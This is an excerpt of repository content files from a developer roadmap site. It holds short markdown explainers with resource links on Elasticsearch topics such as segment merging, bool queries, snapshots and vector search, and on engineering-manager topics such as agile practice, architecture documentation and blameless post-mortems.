    "path": "src/data/roadmaps/elasticsearch/content/segment-merging@v2h-DzgtEFgE5Bu4dpOTE.md",
    "content": "# Segment Merging\n\nSegment merging is the process of combining multiple smaller segments in an Elasticsearch index into larger segments. This optimization reduces the number of segments the search engine needs to consult during a query, leading to faster search performance and more efficient resource utilization. The process involves reading the data from the smaller segments, merging them, and writing the merged data into a new, larger segment.\n\nVisit the following resources to learn more:\n\n- [@official@Merge settings](https://www.elastic.co/docs/reference/elasticsearch/index-settings/merge)\n- [@article@Mastering ElasticSearch Write Performance: Refresh, Merge & Flush Explained](https://medium.com/@mokshteng/mastering-elasticsearch-write-performance-refresh-merge-flush-explained-290631930e4a)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/semantic-search@ZEM809HNlJtNQCfFmoFdi.md",
    "content": "# Semantic Search\n\nSemantic search aims to improve search accuracy by understanding the intent and contextual meaning of search queries. Instead of relying solely on keyword matching, it analyzes the relationships between words and concepts to deliver more relevant results. This involves using techniques like natural language processing (NLP) and machine learning to interpret the meaning behind the query and match it with documents that have similar meaning, even if they don't contain the exact keywords.\n\nVisit the following resources to learn more:\n\n- [@official@Semantic search](https://www.elastic.co/docs/solutions/search/semantic-search)\n- [@official@What is semantic search?](https://www.elastic.co/what-is/semantic-search)\n- [@article@Vector-Based Semantic Search using Elasticsearch](https://medium.com/version-1/vector-based-semantic-search-using-elasticsearch-48d7167b38f5)\n- [@article@Semantic Searches with Elasticsearch](https://heidloff.net/article/semantic-search-vector-eslasticsearch/)\n- [@video@Semantic Search Made Easy & Complex by Sander Philipse, Elastic](https://www.youtube.com/watch?v=tOCwVkoPtI8)\n- [@video@Semantic Search Explained: Search with intent [Quick Question Ep. 3]](https://www.youtube.com/watch?v=eZNV_jkbdW0&t=15s)\n- [@video@What Is Vector Search? Difference Between Vector & Semantic Search Explained [Quick Question Ep. 5]](https://www.youtube.com/watch?v=BKbScJ2P2P0&t=45s)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/should@QukRBV4aCfUtUE7L-qriv.md",
    "content": "# Should Query\n\nThe `should` query is a boolean query that returns documents matching one or more of its sub-queries. It increases the relevance score for each matching clause, but doesn't require any clauses to match for a document to be included in the results. If no other boolean queries like `must` or `filter` are present, at least one `should` clause must match.\n\nVisit the following resources to learn more:\n\n- [@official@Boolean query](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-bool-query)\n- [@article@Elasticsearch Query Bool](https://opster.com/guides/elasticsearch/search-apis/elasticsearch-query-bool/)\n- [@article@Elasticsearch Bool Query - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-bool-query)\n- [@video@Boolean Query in Elasticsearch | Bool, Filter, Must, Must Not, Should, DSL | ES7 for Beginners #4.3](https://www.youtube.com/watch?v=ba2Qn3y486M)\n- [@video@Elasticsearch Bool Query (Should & Filter Clauses) - S1E14: Mini Beginner's Crash Course](https://www.youtube.com/watch?v=Uh1F2lezIfY)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/slm@ghPkYADvzyvPZbzt5Fnmz.md",
    "content": "# SLM\n\nSnapshot Lifecycle Management (SLM) provides a way to automate the creation, retention, and deletion of Elasticsearch snapshots. It allows you to define policies that specify when snapshots should be taken, how long they should be kept, and how they should be named, ensuring consistent and reliable backups of your Elasticsearch data.\n\nVisit the following resources to learn more:\n\n- [@official@Create, monitor and delete snapshots](https://www.elastic.co/docs/deploy-manage/tools/snapshot-and-restore/create-snapshots)\n- [@official@Start snapshot lifecycle management](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-slm-start)\n- [@article@Elasticsearch SLM – Elasticsearch Snapshot Lifecycle Management](https://opster.com/guides/elasticsearch/operations/elasticsearch-slm-elasticsearch-snapshot-lifecycle-management/)\n- [@video@Index Lifecycle Management (ILM) & Snapshot Lifecycle Management (SLM) - Daily Elastic Byte S01E15](https://www.youtube.com/watch?v=JhxMpUY5upg)\n- [@video@32 Cluster Management: Automate snapshots with Snapshot Lifecycle Management](https://www.youtube.com/watch?v=-ZNTL1uzFP8)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/snapshots--restore@mw08QuJPgFHssk5Ur8PRY.md",
    "content": "# Snapshots and Restores\n\nSnapshots are backups of your Elasticsearch cluster's data and state, stored in a repository. Restoring from a snapshot allows you to recover data in case of failure, corruption, or accidental deletion. This mechanism provides a way to revert your cluster to a previous point in time, ensuring data safety and disaster recovery capabilities.\n\nVisit the following resources to learn more:\n\n- [@official@Snapshot and restore docs](https://www.elastic.co/docs/deploy-manage/tools/snapshot-and-restore)\n- [@official@Restore from snapshot](https://www.elastic.co/docs/troubleshoot/elasticsearch/restore-from-snapshot)\n- [@official@Snapshot and Restore](https://www.elastic.co/blog/found-elasticsearch-snapshot-and-restore)\n- [@article@Elasticsearch Snapshot and Restore Feature](https://medium.com/orion-innovation-techclub/elasticsearch-snapshot-and-restore-feature-f7d52a9fd40)\n- [@video@Elasticsearch Snapshot & Restore: Managing Snapshots within Kibana - Daily Elastic Byte S02E14](https://www.youtube.com/watch?v=hc6V-1aR33E)\n- [@video@Backup Elasticsearch Data - Snapshot and Restore -Let's Deploy a Host Intrusion Detection System #15](https://www.youtube.com/watch?v=gIZNez_gmMQ)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/sorting@lSYyRKgtY7PEk4ESy3uRK.md",
    "content": "# Sorting\n\nSorting in Elasticsearch lets you order the search results based on the values of specific fields. By default, Elasticsearch sorts results by relevance score, but you can change this to sort by other criteria like date, price, or any other field in your documents. This allows you to present the most relevant or useful information to users based on their specific needs, such as showing the newest products first or listing items from lowest to highest price.\n\nVisit the following resources to learn more:\n\n- [@official@Sort search results](https://www.elastic.co/docs/reference/elasticsearch/rest-apis/sort-search-results)\n- [@article@Learn Elasticsearch Sorting in 5 minutes](https://medium.appbase.io/sort-elasticsearch-a-tutorial-on-sorting-with-elasticsearch-762b6c02557f)\n- [@article@Elasticsearch in Action: Sorting the Results on Relevancy Score](https://mkonda007.medium.com/elasticsearch-in-action-sorting-the-results-on-relevancy-2913f6389a37)\n- [@video@Sorting of results in Elasticsearch | Asc, Desc, Keyword fields [ElasticSearch 7 for Beginners #4.5]](https://www.youtube.com/watch?v=qt5qpfr5s4o)\n- [@video@Elasticsearch Part 5: Optimizing Search Results Rendering](https://www.youtube.com/watch?v=qmHY8mlkXZE)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/source-filtering@b9XUvx-4qAMwghgy-LVat.md",
    "content": "# Source Filtering\n\nSource filtering in Elasticsearch allows you to control which fields are returned in the `_source` field of your search results. Instead of retrieving the entire document, you can specify which fields you need, reducing network traffic and improving performance. This is achieved by including or excluding specific fields based on patterns or exact names.\n\nVisit the following resources to learn more:\n\n- [@official@_source field](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/mapping-source-field)\n- [@article@An Overview of Source Filtering, Stored Fields, Fields and Docvalues Fields](https://opster.com/guides/elasticsearch/data-architecture/source-filtering-stored-fields-docvalue/)\n- [@article@Elasticsearch in Action: Source Filtering](https://mkonda007.medium.com/elasticsearch-in-action-source-filtering-658ea1a90d24)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/sql@Hg5LjcPxxBJyFcfhbrE_o.md",
    "content": "# Elasticsearch SQL\n\nElasticsearch SQL allows you to query Elasticsearch data using the familiar SQL syntax. Instead of using Elasticsearch's native query DSL (Domain Specific Language), you can write SQL statements to retrieve, filter, and aggregate data stored in Elasticsearch indices. This provides a more accessible way for users familiar with SQL to interact with Elasticsearch, enabling them to leverage their existing skills to analyze and extract insights from their data.\n\nVisit the following resources to learn more:\n\n- [@official@Tap into Elasticsearch with a familiar syntax](https://www.elastic.co/elasticsearch/sql)\n- [@official@SQL overview](https://www.elastic.co/docs/explore-analyze/query-filter/languages/sql)\n- [@official@Getting started with SQL](https://www.elastic.co/docs/reference/query-languages/sql/sql-getting-started)\n- [@article@Elasticsearch SQL — Leveraging Your SQL Skills for Querying ELK Search Engine Document DB](https://medium.com/@stavsofer/elasticsearch-sql-leveraging-your-sql-skills-for-querying-elk-search-engine-document-db-4be2ac7c4cd0)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/standard-analyzer@XDzjBGYxgiGOiNB_JBTRd.md",
    "content": "# Standard Analyzer\n\nThe Standard Analyzer is a default text analyzer in Elasticsearch that breaks text into individual words based on whitespace and punctuation. It also converts all terms to lowercase and removes common English stop words like \"the,\" \"a,\" and \"is.\" This analyzer is a good general-purpose choice for many text indexing and searching tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Standard analyzer](https://www.elastic.co/docs/reference/text-analysis/analysis-standard-analyzer)\n- [@official@Configure text analysis](https://www.elastic.co/docs/manage-data/data-store/text-analysis/configure-text-analysis)\n- [@official@Configuring built-in analyzers](https://www.elastic.co/docs/manage-data/data-store/text-analysis/configuring-built-in-analyzers)\n- [@article@Elasticsearch Text Analyzers – Tokenizers, Standard Analyzers, Stopwords and More](https://opster.com/guides/elasticsearch/data-architecture/elasticsearch-text-analyzers/)\n- [@article@Elasticsearch in Action: Standard Text Analyzer](https://mkonda007.medium.com/elasticsearch-in-action-standard-text-analyzer-87d4164e412e)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/stats--extended-stats@qCdD7orsutXfMeLSbyyWd.md",
    "content": "# Stats and Extended Stats Aggregations\n\nStats and Extended Stats aggregations are used to calculate various statistical measures from a set of numeric values. The Stats aggregation provides basic statistics like count, min, max, average, and sum. The Extended Stats aggregation builds upon this by adding standard deviation, sum of squares, variance, and other related metrics, offering a more comprehensive statistical overview of the data.\n\nVisit the following resources to learn more:\n\n- [@official@Stats aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-metrics-stats-aggregation)\n- [@official@Extended stats aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-metrics-extendedstats-aggregation)\n- [@article@Elasticsearch Stats Aggregation - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-stats-aggregation)\n- [@article@Elasticsearch Extended Stats Aggregation - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-extended-stats-aggregation)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/synonyms-graph@8FtfvlvLXXlOX-D6EDvFj.md",
    "content": "# c\n\nSynonyms Graph is a feature in Elasticsearch that allows you to expand your search queries by including words or phrases that have similar meanings. Instead of just searching for the exact terms entered by a user, Elasticsearch can also search for related terms defined as synonyms, improving the recall of search results. The \"graph\" aspect refers to how these synonyms are represented internally, allowing for more complex relationships between terms, including multi-word synonyms and different synonym types.\n\nVisit the following resources to learn more:\n\n- [@official@Search with synonyms](https://www.elastic.co/docs/solutions/search/full-text/search-with-synonyms)\n- [@official@Update your synonyms in Elasticsearch: Introducing the synonyms Synonyms Guide](https://www.elastic.co/guide/en/app-search/current/synonyms-guide.html)\n- [@official@Multi-Token Synonyms and Graph Queries in Elasticsearch](https://www.elastic.co/blog/multitoken-synonyms-and-graph-queries-in-elasticsearch)\n- [@official@Update your synonyms in Elasticsearch: Introducing the synonyms API](https://www.elastic.co/search-labs/blog/update-synonyms-elasticsearch-introducing-synonyms-api)\n- [@video@How to use the Elasticsearch Synonym API to improve search accuracy](https://www.youtube.com/watch?v=lJaiVZbCpbY)\n- [@video@ElasticSearch in Python #25 - Synonyms API](https://www.youtube.com/watch?v=kOm8r7v0yu4)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/term-query@TIOwE5LY6D4y6DwYEsZXC.md",
    "content": "# Term Query\n\nA term query is a simple search that looks for documents containing an exact, unanalyzed term in a specific field. It's like searching for a specific word or value without any stemming, synonyms, or other text processing applied. This query is useful when you know the precise value you're looking for and want to find documents that contain it exactly as is.\n\nVisit the following resources to learn more:\n\n- [@official@Term query](https://www.elastic.co/docs/reference/query-languages/query-dsl/query-dsl-term-query)\n- [@article@Elasticsearch Term Query - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-term-query)\n- [@article@Elasticsearch match query vs term query](https://medium.com/@musabdogan/elasticsearch-match-query-vs-term-query-42d9d0cef694)\n- [@video@Term queries in Elasticsearch and OpenSearch](https://www.youtube.com/watch?v=YzU-HOn2uns)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/terms@yx5BiPNalUkKBH7bhwbEi.md",
    "content": "# Terms Aggregation\n\nThe Terms aggregation is a multi-bucket aggregation that groups documents based on the terms found in a specific field. It analyzes the field's values and creates buckets for each unique term, counting the number of documents that contain that term. This allows you to identify the most frequent terms within your data and gain insights into the distribution of values in a field.\n\nVisit the following resources to learn more:\n\n- [@official@Terms aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-bucket-terms-aggregation)\n- [@official@Multi Terms aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-bucket-multi-terms-aggregation)\n- [@official@Unveiling unique patterns: A guide to significant terms aggregation in Elasticsearch](https://www.elastic.co/search-labs/blog/significant-terms-aggregation-elasticsearch)\n- [@official@Bucket](https://www.elastic.co/docs/reference/aggregations/bucket)\n- [@article@Elasticsearch Terms Aggregation - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-terms-aggregation)\n- [@article@Terms Aggregation on High-Cardinality Fields in Elasticsearch](https://opster.com/guides/elasticsearch/search-apis/terms-aggregation-on-high-cardinality-fields-in-elasticsearch/)\n- [@video@Elasticsearch Bucket, Histogram, Range & Terms Aggregations - S1E17 Mini Beginner's Crash Course](https://www.youtube.com/watch?v=R114ib2D9mU)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/text@Fmxstc6ZjXnMLpnWkZGOA.md",
    "content": "# Text Data Type\n\nThe `text` data type in Elasticsearch is designed for storing and indexing full-text content, such as blog posts, articles, or product descriptions. When you index a field as `text`, Elasticsearch analyzes the text using an analyzer. This process involves breaking the text into individual terms (tokens), lowercasing them, removing stop words, and applying stemming. This analysis enables Elasticsearch to perform full-text searches, allowing users to find documents based on relevant keywords or phrases within the text.\n\nVisit the following resources to learn more:\n\n- [@official@Text type family](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/text-type-family)\n- [@official@Text analysis](https://www.elastic.co/docs/manage-data/data-store/text-analysis)\n- [@article@Elasticsearch Keyword vs. Text](https://opster.com/guides/elasticsearch/search-apis/elasticsearch-strings-keyword-vs-text-vs-wildcard/)\n- [@article@Elasticsearch: Text vs. Keyword](https://www.codecurated.com/blog/elasticsearch-text-vs-keyword/)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/the-analyze-api@59-tr4ff4QmFFJCN_Vcfh.md",
    "content": "# The Analyze API\n\nThe Analyze API in Elasticsearch allows you to break down a text string into its individual terms, which are the basic building blocks for searching and indexing. It simulates the analysis process that Elasticsearch performs when indexing or searching documents, letting you see how a specific analyzer would process a given piece of text. This is useful for testing and debugging your analysis configuration.\n\nVisit the following resources to learn more:\n\n- [@official@Get tokens from text analysis](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-indices-analyze)\n- [@official@Test an analyzer](https://www.elastic.co/docs/manage-data/data-store/text-analysis/test-an-analyzer)\n- [@article@Leveraging the Elasticsearch Analyze API for Advanced Text Analysis](https://www.dhiwise.com/post/leveraging-the-elasticsearch-analyze-api-for-text-analysis)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/the-elk-stack@lmc1Eu4oacxPT778aGya5.md",
    "content": "# The ELK Stack\n\nThe ELK Stack is a collection of three open-source projects: Elasticsearch, Logstash, and Kibana. Elasticsearch is a search and analytics engine. Logstash is a data processing pipeline that ingests data from various sources, transforms it, and then feeds it into Elasticsearch. Kibana lets users visualize data with charts and graphs in Elasticsearch. Together, they form a powerful solution for log management, security analytics, and observability.\n\nVisit the following resources to learn more:\n\n- [@official@Meet the search platform that helps you search, solve, and succeed](https://www.elastic.co/elastic-stack)\n- [@article@What is ELK Stack?](https://aws.amazon.com/what-is/elk-stack/)\n- [@video@What is Elasticsearch?](https://www.youtube.com/watch?v=ZP0NmfyfsoM)\n- [@video@Install ElasticSearch Logstash and Kibana on Windows 10 (ELK Stack) (Elastic Stack)](https://www.youtube.com/watch?v=8iXZTS7f_hY&list=PLS1QulWo1RIYkDHcPXUtH4sqvQQMH3_TN)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/the-inverted-index@jx0CS3mRr5MB95cTRQMtv.md",
    "content": "# The Inverted Index\n\nThe inverted index is a data structure that stores a mapping from content, such as words or numbers, to their locations in a document or a set of documents. Instead of listing documents and then the words they contain, an inverted index lists words and then the documents in which those words appear. This allows for very fast full-text searches.\n\nVisit the following resources to learn more:\n\n- [@official@Elasticsearch from the Bottom Up, Part 1](https://www.elastic.co/blog/found-elasticsearch-from-the-bottom-up)\n- [@article@What is the inverted index in elastic search?](https://medium.com/@sujathamudadla1213/what-is-the-inverted-index-in-elastic-search-f04df6f0c806)\n- [@article@Elasticsearch Inverted Index: The Key to Fast Data Retrieval](https://www.datasunrise.com/knowledge-center/elasticsearch-inverted-index/)\n- [@article@Indexing: Inverted Index](https://www.baeldung.com/cs/indexing-inverted-index)\n- [@video@Inverted Index - The Data Structure Behind Search Engines](https://www.youtube.com/watch?v=iHHqnyThrqE)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/the-split-brain-problem@Q6djSLPsTlIBfXFOsael7.md",
    "content": "# The \"Split Brain\" Problem\n\nThe \"split brain\" problem occurs in distributed systems when a cluster of nodes becomes partitioned into two or more independent sub-clusters that are unable to communicate with each other. Each sub-cluster may then believe it is the primary cluster and start making independent decisions, potentially leading to data inconsistencies and conflicts as each sub-cluster operates as if it's the only authority. This situation can result in data loss or corruption when the partitions eventually rejoin.\n\nVisit the following resources to learn more:\n\n- [@official@Quorum-based decision making](https://www.elastic.co/docs/deploy-manage/distributed-architecture/discovery-cluster-formation/modules-discovery-quorums)\n- [@article@Avoiding the Elasticsearch split brain problem, and how to recover](https://bigdataboutique.com/blog/avoiding-the-elasticsearch-split-brain-problem-and-how-to-recover-f6451c)\n- [@article@Split-Brain in Distributed Systems](https://dzone.com/articles/split-brain-in-distributed-systems)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/transform-api@C3JSN-6jRikQjxifLu9Vk.md",
    "content": "# Transform API\n\nThe Transform API in Elasticsearch provides a way to summarize and transform data from one or more Elasticsearch indices into a new index. It essentially automates the process of creating aggregated views of your data, allowing you to perform tasks like data reduction, feature engineering, and creating summary indices for faster analysis and visualization. This API enables you to create new indices that contain pre-computed aggregations and transformations of your source data.\n\nVisit the following resources to learn more:\n\n- [@official@Create a transform](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-put-transform)\n- [@official@Get transforms](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-transform-get-transform)\n- [@article@Elasticsearch Transform APIs](https://opster.com/guides/elasticsearch/data-architecture/transform-apis-in-elasticsearch/)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/understanding-similarity@c9rILhjxosufXg4-_ffVi.md",
    "content": "# Understanding Similarity\n\nSimilarity in information retrieval refers to the algorithm used to calculate the relevance score between a search query and a document. It determines how closely a document matches the search terms, influencing the order in which search results are presented. Different similarity algorithms consider factors like term frequency, inverse document frequency, and field length to produce a score reflecting the degree of relevance.\n\nVisit the following resources to learn more:\n\n- [@official@similarity](https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/similarity)\n- [@official@Similarity settings](https://www.elastic.co/docs/reference/elasticsearch/index-settings/similarity)\n- [@official@Similarity in Elasticsearch](https://www.elastic.co/blog/found-similarity-in-elasticsearch)\n- [@official@Vector similarity techniques and scoring](https://www.elastic.co/search-labs/blog/vector-similarity-techniques-and-scoring)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/update-by-query@q-u0rz7mc0ohFUYkXjeD6.md",
    "content": "# Update by Query\n\nUpdate by Query is a way to update documents that match a specific query. Instead of retrieving each document individually, modifying it, and then re-indexing it, Update by Query allows you to perform updates on multiple documents in a single operation based on a search query. This is particularly useful for making bulk changes to your data based on certain criteria.\n\nVisit the following resources to learn more:\n\n- [@official@_update_by_query](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-update-by-query)\n- [@official@Update by query API examples](https://www.elastic.co/docs/reference/elasticsearch/rest-apis/update-by-query-api)\n- [@video@How to use Update by Query in Elastic Search to add fields or update fields](https://www.youtube.com/watch?v=KcEnajtYAJM)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/update-document@5HcPuuPpsNudiuzpAFU8z.md",
    "content": "# Update Document\n\nUpdating a document in Elasticsearch involves modifying an existing document's data. You can achieve this using the Update API, which allows you to change specific fields or the entire document. The API uses a script or a partial document to specify the changes. When using a script, you can perform complex updates based on the document's current state. Alternatively, providing a partial document will merge the provided fields with the existing document. Elasticsearch then reindexes the document with the updated information.\n\nVisit the following resources to learn more:\n\n- [@official@Update a document](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-update)\n- [@official@Update a document](https://www.elastic.co/docs/reference/elasticsearch/rest-apis/update-document)\n- [@article@Elasticsearch Update Document Field](https://opster.com/guides/elasticsearch/operations/elasticsearch-update-document-field/)\n- [@video@How to Update a Document in Elasticsearch that Has Already Been Indexed](https://www.youtube.com/watch?v=Uo_Avtu_aY4v)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/value-count@q8SWm-tJ9c7uIY6wxzQdI.md",
    "content": "# Value Count Aggregation\n\nValue Count is a type of metric aggregation that calculates the total number of values present in a specific field. It essentially counts how many documents have a value for the chosen field, including duplicates if they exist. This aggregation is useful for determining the overall occurrence or frequency of a particular field within your dataset.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregations](https://www.elastic.co/docs/explore-analyze/query-filter/aggregations)\n- [@official@Count search results](https://www.elastic.co/docs/api/doc/elasticsearch/operation/operation-count)\n- [@official@Value count aggregation](https://www.elastic.co/docs/reference/aggregations/search-aggregations-metrics-valuecount-aggregation)\n- [@article@Elasticsearch Value Count Aggregation - Syntax, Example, and Tips](https://pulse.support/kb/elasticsearch-value-count-aggregation)\n- [@video@Elasticsearch Aggregations & go-elasticsearch - Elastic Meetup](https://www.youtube.com/watch?v=y5MUNPJzMsI)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/vector-search@MH1AKsuv654fdXX6hVhtv.md",
    "content": "# Vector Search\n\nVector search is a method of searching for data based on its meaning or context, rather than exact keyword matches. It involves representing data as high-dimensional vectors, where each vector captures the semantic properties of the data. Search queries are also converted into vectors, and the system finds data points with vectors that are \"close\" to the query vector, indicating semantic similarity.\n\nVisit the following resources to learn more:\n\n- [@official@Vector search in Elasticsearch](https://www.elastic.co/docs/solutions/search/vector)\n- [@official@What is vector search?](https://www.elastic.co/what-is/vector-search)\n- [@official@How to set up vector search in Elasticsearch](https://www.elastic.co/search-labs/blog/vector-search-set-up-elasticsearch)\n- [@official@A quick introduction to vector search](https://search-labs-redesign.vercel.app/search-labs/blog/introduction-to-vector-search)\n- [@article@Elasticsearch Was Great, But Vector Databases Are the Future](https://thenewstack.io/elasticsearch-was-great-but-vector-databases-are-the-future/)\n- [@video@What Is Vector Search? Difference Between Vector & Semantic Search Explained [Quick Question Ep. 5]](https://www.youtube.com/watch?v=BKbScJ2P2P0)\n- [@video@Elastic Snackable Series: Elasticsearch Vector Search](https://www.youtube.com/watch?v=GYtLxyvWE0w)\n- [@video@ElasticON EMEA: The Search for Relevance with Vector Search](https://www.youtube.com/watch?v=MUve9LiEAeI)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/content/wildcard-query@KtRZM5xTa4rHE7JnTAwAD.md",
    "content": "# Wildcard Query\n\nA wildcard query lets you search for terms that match a specified pattern. This pattern can include special characters like `*` (representing zero or more characters) and `?` (representing any single character). It's a way to perform flexible text searches when you don't know the exact term you're looking for, allowing you to find variations or partial matches within your data.\n\nVisit the following resources to learn more:\n\n- [@official@Find strings within strings faster with the new wildcard field](https://www.elastic.co/blog/find-strings-within-strings-faster-with-the-new-elasticsearch-wildcard-field)\n- [@article@Elasticsearch Wildcard Queries](https://opster.com/guides/elasticsearch/search-apis/elasticsearch-wildcard-queries/)\n- [@article@Elasticsearch Wildcard Query - Syntax, Example, and Tips](https://pulse.support/kb/elasticsea)\n- [@video@Elasticsearch Query DSL part 6 | Prefix query, wildcard query | Elk Stack](https://www.youtube.com/watch?v=lTJzT8sZmXs)"
  },
  {
    "path": "src/data/roadmaps/elasticsearch/elasticsearch.md",
    "content": "---\nrenderer: 'editor'\n---\n"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/agile-methodologies@n9gvPHn4c1U-l6v-W9v6r.md",
    "content": "# Agile methodologies\n\nAn Engineering Manager ensures smooth implementation of Agile methodologies within the team. The manager oversees sprint planning, backlog refinement, and retrospectives for consistent development flow. They have the key role in facilitating communication, fostering a high-performing environment, and encouraging adaptive planning.\n\nThe Engineering Manager faces the challenge of maintaining an Agile mindset even when facing pressures to deliver. They have to ensure team members are motivated, engaged, and productive. This can be handled by adopting feedback-friendly culture and regular knowledge-sharing sessions.\n\nSkills required for an Engineering Manager in handling Agile methodologies include strong leadership, excellent communication, and proficiency in risk management. The manager has to balance the opposing needs of flexibility and stability, always keeping customer satisfaction in perspective.\n\nVisit the following resources to learn more:\n\n- [@official@Scrum Guide](https://scrumguides.org/)"
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/api-strategy@ukmMMWacekcejEiEKCLzh.md",
    "content": "# API strategy\n\nAn Engineering Manager's ability to handle API strategies directly impacts the success of partner management. A key responsibility in this area is defining clear API requirements that align with partner needs and business targets. Meeting these goals can be complex, mainly due to differing partner expectations and changing trends in API development.\n\nOvercoming these challenges requires a deep understanding of the technical use-cases of the API. An Engineering Manager needs adept negotiation skills to balance the technical and business sides of API strategy. They must also ensure interoperability and maintain the company's standards, which is crucial for partner satisfaction and long-term relations.\n\nFinally, frequent communication and receptiveness to feedback allows the Manager to refine the strategy effectively, spotting gaps and staying ahead in the competitive tech market."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/architectural-decision-making@FtWNnOE3zObmjS-Og26M3.md",
    "content": "# Architectural Decision-Making\n\nArchitectural decision-making is a crucial responsibility for an Engineering Manager. These decisions can shape the future capabilities and operation of an engineering team. A manager should be capable of balancing current requirements with long-term goals. This involves choosing the right technologies, frameworks and design patterns.\n\nThey face challenges, like managing risks and ensuring scalability. To address these challenges, they use data and consult their teams before making any major decisions to mitigate risk. The decision-making process includes stakeholder consultations, careful analysis of options, and potential risk assessments.\n\nEffective architectural decision-making requires both technical and leadership skills. The ability to analyse data, understand technical constraints, and make informed decisions are important. The manager also needs good communication skills to explain their decisions to their teams and stakeholders. These skills help in managing the technical strategy of the team effectively."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/architecture-documentation@gHhNi32MSBmqk-oKOy-uj.md",
    "content": "# Architecture documentation\n\nEngineering managers pave the way to secure well-built architecture documents. These texts act as blueprints - they guide software development and offer comprehensive visibility into the system's structure. Therefore, managers ensure that these crucial documents are precise, updated, and accessible to all team members.\n\nHowever, architecture documentation also throws up challenges. The difficulty lies in maintaining the usability and relevance of these documents, particularly as the system evolves over time. Managers tackle these issues by establishing strong documentation policies and encouraging team members to continuously review and revise their work.\n\nAt the core, excellent communication skills and a deep understanding of system architecture are central to succeeding in this area. With these capabilities, engineering managers can effectively translate detailed technical insights into comprehensible visual models and clear descriptions."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/best-practices@4-MCXFOkMGcN369OPG-vw.md",
    "content": "# Best Practices\n\nAs an Engineering Manager, one key area you interact with is the best practices for documentation. This involves ensuring your team consistently maintains high-quality, easily readable, and efficiently structured documents. Importance is placed on keeping information up-to-date and easily accessible to facilitate quick decision-making and work efficiency.\n\nOne of your responsibilities is to instill an awareness in your team of the lasting impact of good documentation. Encourage them to take time in creating materials that not only help their current project but also aid future understanding.\n\nChallenges may emerge when documentation is seen as secondary to product development. Overcome this by emphasizing the long-term benefits of comprehensive documentation, like saving time on future projects and reducing technical debt. Ensure your team respects the 'write the docs' ideology where coding and documenting go hand-in-hand."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/bias-recognition--mitigation@g9FvFKC715tZL2ZGlPl3N.md",
    "content": "# Bias Recognition / Mitigation\n\nAn Engineering Manager shoulders the responsibility of shaping a team culture that empowers everyone equally. Recognizing and mitigating bias is both a pivotal and challenging part of this role. Ensuring that decisions aren't tainted by personal biases averts, for instance, unjust promotions or assignments.\n\nEngineering Managers must remain receptive to feedback, acting upon it to uproot hidden biases. Here, communication skills, especially in conflict resolution, come in handy. A manager may also instigate diverse recruitment practices and training sessions to promote an understanding of bias.\n\nThe challenge lies in continuously maintaining awareness of personal blind spots and subconscious preconceptions. Regular introspection and seeking others' viewpoints can help a manager address this. In essence, it's about urging constructive change while fostering a culture that values fairness and inclusion."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/blameless-post-mortems@fYkKo8D35AHd8agr3YrIP.md",
    "content": "# Blameless Post-mortems\n\nAn Engineering Manager plays a key role in facilitating blameless post-mortems. They bring teams together after incidents to dissect what went wrong, ensuring the main goal is learning, not pointing fingers.\n\nThe manager is responsible for promoting a no-blame culture. They ensure everyone opens up about their actions without fear or guilt. From this, they derive measures to stop similar incidents from happening. The manager thus carries the mantle of turning unfortunate mishaps into opportunities for team growth.\n\nChallenges include overcoming the often human instinct to assign blame. To succeed, managers need astute conflict resolution, good listening skills, and a keen understanding of the engineering systems in play. The goal is improving systems, based on learnings, not pinpointing individual mistakes."
  },
  {
    "path": "src/data/roadmaps/engineering-manager/content/board-presentations@5MM1ccB1pmQcd3Uyjmbr7.md",
